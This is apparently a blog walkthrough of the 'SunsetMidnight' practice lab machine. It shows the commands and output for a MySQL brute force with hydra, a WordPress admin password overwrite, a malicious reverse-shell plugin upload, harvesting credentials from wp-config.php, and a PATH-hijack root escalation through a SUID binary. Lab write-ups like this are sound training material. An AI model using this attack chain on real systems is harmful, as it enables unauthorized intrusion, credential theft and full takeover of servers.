pg-sunsetmidnight-play

SunsetMidnight

Nmap
sudo nmap 192.168.104.88 -p- -sS -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add the machine IP to map to sunset-midnight in /etc/hosts.

After making the above changes when browsing to port 80 we come to a WordPress page.

http://sunset-midnight/

After scanning with WPScan I was unable to proceed with the found admin accout. Instead turning our attention to MySQL which we find does not block remote connections we can begin to brute force the root account.

┌──(kali㉿puckie)-[~/offsec/SunsetMidnight]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.161.88 mysql -t 16 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 04:59:00
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.161.88:3306/
[3306][mysql] host: 192.168.161.88 login: root password: robert
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 04:59:17

┌──(kali㉿puckie)-[~/offsec/SunsetMidnight]
We can then log into MySQL with the discovered credentials:
mysql -u root -p -h 192.168.104.88

From here we can list databases then select the WordPress database and extract information from the wp_users table.

show databases;
use wordpress_db;
show tables;
select * from wp_users;

We now have the admin hash of: $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ I tried cracking with hashcat using rockyou.txt and had no lucky. Luckily we are root on this session so we can actually update the table and change the password to something that we know.

The following website can be used to generate a has for wordpress: https://www.useotools.com/wordpress-password-hash-generator/output.

Or we translate a password into MD5 hash format. I’m going with pass123. This is favorite for these types of hacks.

echo -n “pass123” | md5sum;echo “”

MariaDB [wordpress_db]> UPDATE wp_users SET user_pass="32250170a0dca92d53ec9624f336ca24" WHERE ID=1;
Query OK, 1 row affected (0.101 sec)
Rows matched: 1 Changed: 1 Warnings: 0

If you look at the database, we have ID 1 being the admin user. We use the user_pass to change the password and then commit. Pretty simple SQL command.

Now let’s try to log into the WordPress site.

We can then move to the /wp-admin/ directory on the webserver and login with our new credentials.

http://sunset-midnight/wp-admin/

From here we are going to upload a malicious plug-in that will give us a reverse shell. We will be using wordpwn.py to achieve this: https://github.com/wetw0rk/malicious-wordpress-plugin.

After download run the scripts as per instructions on the GitHub page and then once created upload the malicious.zip over at: http://sunset-midnight/wp-admin/plugin-install.php.

Once uploaded activate the plug-in on the plug-in page then browse to the following to execute: http://sunset-midnight/wp-content/plugins/malicious/wetw0rk_maybe.php.

We are now ‘www-data’.

Manually enumerating the target machine we know WordPress is installed and as such the wp-config.php exists.

Reading the contents of wp-config.php gives us credentials for the user jose.

Whilst the password does look like a MD5 its important to note that this file the credentials are normally stored in plaintext. Given this we can attempt to switch to the jose user with these.

From here wen can use ssh-keygen to create a RSA key so we can then sign in with SSH for a much more usable shell.

ssh-keygen -t RSA

Keep hitting enter until the key is generated. Once done so copy the contents of the key from /home/jose/.ssh/id_rsa over to the attacking machine.

We can then use the following command to set the correct permissions on key on the attacking machine:

sudo chmod 600 id_rsa

Then login as jose over SSH.

┌──(kali㉿puckie)-[~/offsec/SunsetMidnight]
└─$ ssh -i id_rsa jose@sunset-midnight
jose@sunset-midnight's password: 645dc5a8871d2a4269d4cbe23f6ae103
Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 10 04:09:42 2021 from 192.168.49.161
jose@midnight:~$

Running linpeas on the target shows the binary /usr/bin/status has the SUID bit set.

Running strings on the binary

Looks like the binary is trying to run ‘service’ without the full path of the binary. Knowing this we can create a malicious service binary and export the path so our malicious binary is executed first.

In the home directory of jose run the following:

touch service
echo '/bin/sh' > service
chmod 755 service

Once completed export the new path where /home/jose: is the starting path.

PATH=/home/jose:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Once completed execute status and we should land a root shell.

jose@midnight:~$ /usr/bin/status
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(jose)


# hostnamectl
Static hostname: midnight
Icon name: computer-vm
Chassis: vm
Machine ID: 83299014c4ba465d83a35a7f3ef5b1f4
Boot ID: 739b4a76c8cd419ba160e7c4652e376d
Virtualization: vmware
Operating System: Debian GNU/Linux 10 (buster)
Kernel: Linux 4.19.0-9-amd64
Architecture: x86-64
#

.

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *